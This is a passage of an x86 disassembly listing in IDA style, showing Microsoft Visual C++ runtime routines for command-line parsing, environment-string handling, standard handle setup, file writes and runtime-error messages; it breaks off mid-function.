loc_412AFE: ; CODE XREF: sub_412A93+65j
cmp byte ptr [eax], 22h
jnz short loc_412B49
inc eax
jmp short loc_412B49
; ---------------------------------------------------------------------------
loc_412B06: ; CODE XREF: sub_412A93+2Dj
; sub_412A93+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_412B11
mov dl, [eax]
mov [esi], dl
inc esi
loc_412B11: ; CODE XREF: sub_412A93+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_480E61[ebx], 4
jz short loc_412B2C
inc dword ptr [ecx]
test esi, esi
jz short loc_412B2B
mov bl, [eax]
mov [esi], bl
inc esi
loc_412B2B: ; CODE XREF: sub_412A93+91j
inc eax
loc_412B2C: ; CODE XREF: sub_412A93+8Bj
cmp dl, 20h
jz short loc_412B3A
test dl, dl
jz short loc_412B3E
cmp dl, 9
jnz short loc_412B06
loc_412B3A: ; CODE XREF: sub_412A93+9Cj
test dl, dl
jnz short loc_412B41
loc_412B3E: ; CODE XREF: sub_412A93+A0j
dec eax
jmp short loc_412B49
; ---------------------------------------------------------------------------
loc_412B41: ; CODE XREF: sub_412A93+A9j
test esi, esi
jz short loc_412B49
and byte ptr [esi-1], 0
loc_412B49: ; CODE XREF: sub_412A93+6Ej
; sub_412A93+71j ...
and [ebp+arg_10], 0
loc_412B4D: ; CODE XREF: sub_412A93+19Ej
cmp byte ptr [eax], 0
jz loc_412C36
loc_412B56: ; CODE XREF: sub_412A93+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_412B62
cmp dl, 9
jnz short loc_412B65
loc_412B62: ; CODE XREF: sub_412A93+C8j
inc eax
jmp short loc_412B56
; ---------------------------------------------------------------------------
loc_412B65: ; CODE XREF: sub_412A93+CDj
cmp byte ptr [eax], 0
jz loc_412C36
test edi, edi
jz short loc_412B7A
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_412B7A: ; CODE XREF: sub_412A93+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_412B7F: ; CODE XREF: sub_412A93+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_412B88: ; CODE XREF: sub_412A93+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_412B91
inc eax
inc ebx
jmp short loc_412B88
; ---------------------------------------------------------------------------
loc_412B91: ; CODE XREF: sub_412A93+F8j
cmp byte ptr [eax], 22h
jnz short loc_412BC2
test bl, 1
jnz short loc_412BC0
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_412BAF
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_412BAF
mov eax, edx
jmp short loc_412BB2
; ---------------------------------------------------------------------------
loc_412BAF: ; CODE XREF: sub_412A93+10Dj
; sub_412A93+116j
mov [ebp+arg_0], edi
loc_412BB2: ; CODE XREF: sub_412A93+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_412BC0: ; CODE XREF: sub_412A93+106j
shr ebx, 1
loc_412BC2: ; CODE XREF: sub_412A93+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_412BD7
inc ebx
loc_412BCA: ; CODE XREF: sub_412A93+142j
test esi, esi
jz short loc_412BD2
mov byte ptr [esi], 5Ch
inc esi
loc_412BD2: ; CODE XREF: sub_412A93+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_412BCA
loc_412BD7: ; CODE XREF: sub_412A93+134j
mov dl, [eax]
test dl, dl
jz short loc_412C27
cmp [ebp+arg_10], 0
jnz short loc_412BED
cmp dl, 20h
jz short loc_412C27
cmp dl, 9
jz short loc_412C27
loc_412BED: ; CODE XREF: sub_412A93+14Ej
cmp [ebp+arg_0], 0
jz short loc_412C21
test esi, esi
jz short loc_412C10
movzx ebx, dl
test byte_480E61[ebx], 4
jz short loc_412C09
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_412C09: ; CODE XREF: sub_412A93+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_412C1F
; ---------------------------------------------------------------------------
loc_412C10: ; CODE XREF: sub_412A93+162j
movzx edx, dl
test byte_480E61[edx], 4
jz short loc_412C1F
inc eax
inc dword ptr [ecx]
loc_412C1F: ; CODE XREF: sub_412A93+17Bj
; sub_412A93+187j
inc dword ptr [ecx]
loc_412C21: ; CODE XREF: sub_412A93+15Ej
inc eax
jmp loc_412B7F
; ---------------------------------------------------------------------------
loc_412C27: ; CODE XREF: sub_412A93+148j
; sub_412A93+153j ...
test esi, esi
jz short loc_412C2F
and byte ptr [esi], 0
inc esi
loc_412C2F: ; CODE XREF: sub_412A93+196j
inc dword ptr [ecx]
jmp loc_412B4D
; ---------------------------------------------------------------------------
loc_412C36: ; CODE XREF: sub_412A93+BDj
; sub_412A93+D5j
test edi, edi
jz short loc_412C3D
and dword ptr [edi], 0
loc_412C3D: ; CODE XREF: sub_412A93+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_412A93 endp
; =============== S U B R O U T I N E =======================================
sub_412C47 proc near ; CODE XREF: sub_40D514+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_47FAD0
push ebx
push ebp
mov ebp, dword_41703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_412C95
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_412C76
mov dword_47FAD0, 1
jmp short loc_412C9E
; ---------------------------------------------------------------------------
loc_412C76: ; CODE XREF: sub_412C47+21j
call dword_417170 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_412D70
mov dword_47FAD0, 2
jmp loc_412D24
; ---------------------------------------------------------------------------
loc_412C95: ; CODE XREF: sub_412C47+19j
cmp eax, 1
jnz loc_412D1F
loc_412C9E: ; CODE XREF: sub_412C47+2Dj
cmp esi, ebx
jnz short loc_412CAE
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_412D70
loc_412CAE: ; CODE XREF: sub_412C47+59j
cmp [esi], bx
mov eax, esi
jz short loc_412CC3
loc_412CB5: ; CODE XREF: sub_412C47+73j
; sub_412C47+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_412CB5
inc eax
inc eax
cmp [eax], bx
jnz short loc_412CB5
loc_412CC3: ; CODE XREF: sub_412C47+6Cj
sub eax, esi
mov edi, dword_4170C0
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_412D14
push ebp
call sub_40B6BF
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_412D14
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_412D10
push [esp+18h+var_8]
call sub_40B771
pop ecx
mov [esp+18h+var_8], ebx
loc_412D10: ; CODE XREF: sub_412C47+B9j
mov ebx, [esp+18h+var_8]
loc_412D14: ; CODE XREF: sub_412C47+99j
; sub_412C47+A8j
push esi
call dword_41716C ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_412D72
; ---------------------------------------------------------------------------
loc_412D1F: ; CODE XREF: sub_412C47+51j
cmp eax, 2
jnz short loc_412D70
loc_412D24: ; CODE XREF: sub_412C47+49j
cmp edi, ebx
jnz short loc_412D34
call dword_417170 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_412D70
loc_412D34: ; CODE XREF: sub_412C47+DFj
cmp [edi], bl
mov eax, edi
jz short loc_412D44
loc_412D3A: ; CODE XREF: sub_412C47+F6j
; sub_412C47+FBj
inc eax
cmp [eax], bl
jnz short loc_412D3A
inc eax
cmp [eax], bl
jnz short loc_412D3A
loc_412D44: ; CODE XREF: sub_412C47+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_40B6BF
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_412D5A
xor esi, esi
jmp short loc_412D65
; ---------------------------------------------------------------------------
loc_412D5A: ; CODE XREF: sub_412C47+10Dj
push ebp
push edi
push esi
call sub_40B210
add esp, 0Ch
loc_412D65: ; CODE XREF: sub_412C47+111j
push edi
call dword_417168 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_412D72
; ---------------------------------------------------------------------------
loc_412D70: ; CODE XREF: sub_412C47+39j
; sub_412C47+61j ...
xor eax, eax
loc_412D72: ; CODE XREF: sub_412C47+D6j
; sub_412C47+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_412C47 endp
; =============== S U B R O U T I N E =======================================
sub_412D79 proc near ; CODE XREF: sub_40D514+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_40B6BF
mov esi, eax
pop ecx
test esi, esi
jnz short loc_412D99
push 1Bh
call sub_40D60A
pop ecx
loc_412D99: ; CODE XREF: sub_412D79+16j
mov dword_480C40, esi
mov dword_480D40, 20h
lea eax, [esi+100h]
loc_412DAF: ; CODE XREF: sub_412D79+52j
cmp esi, eax
jnb short loc_412DCD
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_480C40
add esi, 8
add eax, 100h
jmp short loc_412DAF
; ---------------------------------------------------------------------------
loc_412DCD: ; CODE XREF: sub_412D79+38j
lea eax, [esp+54h+var_44]
push eax
call dword_41711C ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_412EA9
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_412EA9
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_412E03
mov esi, eax
loc_412E03: ; CODE XREF: sub_412D79+86j
cmp dword_480D40, esi
jge short loc_412E5D
mov edi, offset dword_480C44
loc_412E10: ; CODE XREF: sub_412D79+DAj
push 100h
call sub_40B6BF
test eax, eax
pop ecx
jz short loc_412E57
add dword_480D40, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_412E2E: ; CODE XREF: sub_412D79+CFj
cmp eax, ecx
jnb short loc_412E4A
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_412E2E
; ---------------------------------------------------------------------------
loc_412E4A: ; CODE XREF: sub_412D79+B7j
add edi, 4
cmp dword_480D40, esi
jl short loc_412E10
jmp short loc_412E5D
; ---------------------------------------------------------------------------
loc_412E57: ; CODE XREF: sub_412D79+A4j
mov esi, dword_480D40
loc_412E5D: ; CODE XREF: sub_412D79+90j
; sub_412D79+DCj
xor edi, edi
test esi, esi
jle short loc_412EA9
loc_412E63: ; CODE XREF: sub_412D79+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_412EA0
mov cl, [ebp+0]
test cl, 1
jz short loc_412EA0
test cl, 8
jnz short loc_412E82
push eax
call dword_417030 ; GetFileType
test eax, eax
jz short loc_412EA0
loc_412E82: ; CODE XREF: sub_412D79+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_480C40[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_412EA0: ; CODE XREF: sub_412D79+EFj
; sub_412D79+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_412E63
loc_412EA9: ; CODE XREF: sub_412D79+65j
; sub_412D79+71j ...
xor ebx, ebx
loc_412EAB: ; CODE XREF: sub_412D79+195j
mov eax, dword_480C40
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_412F06
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_412EC6
push 0FFFFFFF6h
pop eax
jmp short loc_412ED0
; ---------------------------------------------------------------------------
loc_412EC6: ; CODE XREF: sub_412D79+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_412ED0: ; CODE XREF: sub_412D79+14Bj
push eax
call dword_417034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_412EF5
push edi
call dword_417030 ; GetFileType
test eax, eax
jz short loc_412EF5
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_412EFB
loc_412EF5: ; CODE XREF: sub_412D79+163j
; sub_412D79+16Ej
or byte ptr [esi+4], 40h
jmp short loc_412F0A
; ---------------------------------------------------------------------------
loc_412EFB: ; CODE XREF: sub_412D79+17Aj
cmp eax, 3
jnz short loc_412F0A
or byte ptr [esi+4], 8
jmp short loc_412F0A
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412D79+13Ej
or byte ptr [esi+4], 80h
loc_412F0A: ; CODE XREF: sub_412D79+180j
; sub_412D79+185j ...
inc ebx
cmp ebx, 3
jl short loc_412EAB
push dword_480D40
call dword_417038 ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_412D79 endp
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F2C proc near ; DATA XREF: sub_40D514+Ao
; sub_410EC0+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_412FCC
mov [ebp+var_8], eax
loc_412F4D: ; DATA XREF: .nsp0:off_41DA68o
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_412F5F: ; CODE XREF: sub_412F2C+90j
cmp esi, 0FFFFFFFFh
jz short loc_412FC5
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_412FB3
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_412FB3
js short loc_412FBE
mov edi, [ebx+8]
push ebx
call sub_40BCD8
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_40BD1A
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_40BDAE
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_412FB3: ; CODE XREF: sub_412F2C+40j
; sub_412F2C+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_412F5F
; ---------------------------------------------------------------------------
loc_412FBE: ; CODE XREF: sub_412F2C+54j
mov eax, 0
jmp short loc_412FE1
; ---------------------------------------------------------------------------
loc_412FC5: ; CODE XREF: sub_412F2C+36j
mov eax, 1
jmp short loc_412FE1
; ---------------------------------------------------------------------------
loc_412FCC: ; CODE XREF: sub_412F2C+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_40BD1A
add esp, 8
pop ebp
mov eax, 1
loc_412FE1: ; CODE XREF: sub_412F2C+97j
; sub_412F2C+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_412F2C endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_40BD1A
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_413004 proc near ; CODE XREF: sub_40D60A+9p
; sub_40D62F+9p
mov eax, dword_47F968
cmp eax, 1
jz short loc_41301B
test eax, eax
jnz short locret_41303C
cmp dword_41DBF4, 1
jnz short locret_41303C
loc_41301B: ; CODE XREF: sub_413004+8j
push 0FCh
call sub_41303D
mov eax, dword_47FAD4
pop ecx
test eax, eax
jz short loc_413031
call eax
loc_413031: ; CODE XREF: sub_413004+29j
push 0FFh
call sub_41303D
pop ecx
locret_41303C: ; CODE XREF: sub_413004+Cj
; sub_413004+15j
retn
sub_413004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41303D proc near ; CODE XREF: sub_40D60A+12p
; sub_40D62F+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_420280
loc_413050: ; CODE XREF: sub_41303D+20j
cmp edx, [eax]
jz short loc_41305F
add eax, 8
inc ecx
cmp eax, offset off_420310
jl short loc_413050
loc_41305F: ; CODE XREF: sub_41303D+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_420280[esi]
jnz loc_41318D
mov eax, dword_47F968
cmp eax, 1
jz loc_413167
test eax, eax
jnz short loc_413090
cmp dword_41DBF4, 1
jz loc_413167
loc_413090: ; CODE XREF: sub_41303D+44j
cmp edx, 0FCh
jz loc_41318D
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_41704C ; GetModuleFileNameA
test eax, eax
jnz short loc_4130C7
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_40CD70
pop ecx
pop ecx
loc_4130C7: ; CODE XREF: sub_41303D+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_40B5B0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41310A
lea eax, [ebp+var_1A4]
push eax
call sub_40B5B0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_40B110
add esp, 10h
loc_41310A: ; CODE XREF: sub_41303D+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_40CD70
lea eax, [ebp+var_A0]
push edi
push eax
call sub_40CD80
lea eax, [ebp+var_A0]
push offset asc_417B34 ; "\n\n"
push eax
call sub_40CD80
push off_420284[esi]
lea eax, [ebp+var_A0]
push eax
call sub_40CD80
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_4149C4
add esp, 2Ch
pop edi
jmp short loc_41318D
; ---------------------------------------------------------------------------
loc_413167: ; CODE XREF: sub_41303D+3Cj
; sub_41303D+4Dj
lea eax, [ebp+arg_0]
lea esi, off_420284[esi]
push 0
push eax
push dword ptr [esi]
call sub_40B5B0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_417034 ; GetStdHandle
push eax
call dword_417078 ; WriteFile
loc_41318D: ; CODE XREF: sub_41303D+2Ej
; sub_41303D+59j ...
pop esi
leave
retn
sub_41303D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413190 proc near ; CODE XREF: sub_40D653+95p
; sub_40D653+E8p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_480D40
push esi
push edi
jnb loc_413324
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:480C40h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_413324
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_4131E1
loc_4131DA: ; CODE XREF: sub_413190+177j
xor eax, eax
jmp loc_413338
; ---------------------------------------------------------------------------
loc_4131E1: ; CODE XREF: sub_413190+48j
test al, 20h
jz short loc_4131F1
push 2
push edi
push ecx
call sub_412573
add esp, 0Ch
loc_4131F1: ; CODE XREF: sub_413190+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_4132C0
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_4132F8
loc_413211: ; CODE XREF: sub_413190+F5j
lea eax, [ebp+var_414]
loc_413217: ; CODE XREF: sub_413190+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41324B
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_413236
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_413236: ; CODE XREF: sub_413190+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_413217
loc_41324B: ; CODE XREF: sub_413190+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_417078 ; WriteFile
test eax, eax
jz short loc_4132B5
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_413287
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_413211
loc_413287: ; CODE XREF: sub_413190+EAj
; sub_413190+12Ej
xor edi, edi
loc_413289: ; CODE XREF: sub_413190+150j
; sub_413190+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41331F
cmp [ebp+arg_0], edi
jz short loc_4132F8
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_4132ED
mov dword_47F914, 9
mov dword_47F918, eax
jmp loc_413335
; ---------------------------------------------------------------------------
loc_4132B5: ; CODE XREF: sub_413190+E0j
call dword_417044 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_413287
; ---------------------------------------------------------------------------
loc_4132C0: ; CODE XREF: sub_413190+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_417078 ; WriteFile
test eax, eax
jz short loc_4132E2
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_413289
; ---------------------------------------------------------------------------
loc_4132E2: ; CODE XREF: sub_413190+145j
call dword_417044 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_413289
; ---------------------------------------------------------------------------
loc_4132ED: ; CODE XREF: sub_413190+10Fj
push [ebp+arg_0]
call sub_411C26
pop ecx
jmp short loc_413335
; ---------------------------------------------------------------------------
loc_4132F8: ; CODE XREF: sub_413190+7Bj
; sub_413190+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41330D
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_4131DA
loc_41330D: ; CODE XREF: sub_413190+16Fj
mov dword_47F914, 1Ch
mov dword_47F918, edi
jmp short loc_413335
; ---------------------------------------------------------------------------
loc_41331F: ; CODE XREF: sub_413190+FEj
sub eax, [ebp+var_10]
jmp short loc_413338
; ---------------------------------------------------------------------------
loc_413324: ; CODE XREF: sub_413190+15j
; sub_413190+37j
and dword_47F918, 0
mov dword_47F914, 9
loc_413335: ; CODE XREF: sub_413190+120j
; sub_413190+166j ...
or eax, 0FFFFFFFFh
loc_413338: ; CODE XREF: sub_413190+4Cj
; sub_413190+192j
pop edi
pop esi
pop ebx
leave
retn
sub_413190 endp
; =============== S U B R O U T I N E =======================================
sub_41333D proc near ; CODE XREF: sub_40D653+6Cp
; sub_41176F+32p ...
arg_0 = dword ptr 4
inc dword_47FAD8
push 1000h
call sub_40B6BF
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_413366
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_413377
; ---------------------------------------------------------------------------
loc_413366: ; CODE XREF: sub_41333D+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_413377: ; CODE XREF: sub_41333D+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41333D endp
; =============== S U B R O U T I N E =======================================
sub_413381 proc near ; CODE XREF: sub_40D653+61p
; sub_4124A9+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_480D40
jb short loc_413390
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_413390: ; CODE XREF: sub_413381+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_480C40[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_413381 endp
; =============== S U B R O U T I N E =======================================
sub_4133A7 proc near ; DATA XREF: .nsp0:0041901Co
mov eax, dword_480C20
push esi
push 14h
test eax, eax
pop esi
jnz short loc_4133BB
mov eax, 200h
jmp short loc_4133C1
; ---------------------------------------------------------------------------
loc_4133BB: ; CODE XREF: sub_4133A7+Bj
cmp eax, esi
jge short loc_4133C6
mov eax, esi
loc_4133C1: ; CODE XREF: sub_4133A7+12j
mov dword_480C20, eax
loc_4133C6: ; CODE XREF: sub_4133A7+16j
push 4
push eax
call sub_414A4D
pop ecx
mov dword_47FC08, eax
test eax, eax
pop ecx
jnz short loc_4133FA
push 4
push esi
mov dword_480C20, esi
call sub_414A4D
pop ecx
mov dword_47FC08, eax
test eax, eax
pop ecx
jnz short loc_4133FA
push 1Ah
call sub_40D60A
pop ecx
loc_4133FA: ; CODE XREF: sub_4133A7+30j
; sub_4133A7+49j
xor ecx, ecx
mov eax, offset off_420310
loc_413401: ; CODE XREF: sub_4133A7+6Ej
mov edx, dword_47FC08
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_420590
jl short loc_413401
xor edx, edx
mov ecx, offset dword_420320
loc_41341E: ; CODE XREF: sub_4133A7+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_480C40[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41343B
test eax, eax
jnz short loc_41343E
loc_41343B: ; CODE XREF: sub_4133A7+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41343E: ; CODE XREF: sub_4133A7+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_420380
jl short loc_41341E
pop esi
retn
sub_4133A7 endp
; =============== S U B R O U T I N E =======================================
sub_41344C proc near ; DATA XREF: .nsp0:0041902Co
; FUNCTION CHUNK AT 00414AFE SIZE 00000058 BYTES
call sub_4116F9
cmp byte_47F954, 0
jz short locret_41345F
jmp loc_414AFE
; ---------------------------------------------------------------------------
locret_41345F: ; CODE XREF: sub_41344C+Cj
retn
sub_41344C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413460 proc near ; CODE XREF: sub_40D768+2D4p
; sub_40D768+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41346C
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41346C: ; CODE XREF: sub_413460+8j
cmp dword_47F9A4, 0
jnz short loc_413487
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4134B9
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_413487: ; CODE XREF: sub_413460+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_41FF84
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_47F9B4
call dword_4170C0 ; WideCharToMultiByte
test eax, eax
jz short loc_4134B9
cmp [ebp+arg_0], 0
jz short loc_4134C6
loc_4134B9: ; CODE XREF: sub_413460+1Ej
; sub_413460+51j
mov dword_47F914, 2Ah
or eax, 0FFFFFFFFh
loc_4134C6: ; CODE XREF: sub_413460+57j
pop ebp
retn
sub_413460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134C8 proc near ; CODE XREF: sub_40DF72+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4134EB
cmp [ebp+arg_8], ebx
jz short loc_4134EB
mov al, [esi]
cmp al, bl
jnz short loc_4134F1
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4134EB
mov [eax], bx
loc_4134EB: ; CODE XREF: sub_4134C8+Cj
; sub_4134C8+11j ...
xor eax, eax
loc_4134ED: ; CODE XREF: sub_4134C8+42j
; sub_4134C8+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4134F1: ; CODE XREF: sub_4134C8+17j
cmp dword_47F9A4, ebx
jnz short loc_41350C
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_413507
movzx ax, al
mov [ecx], ax
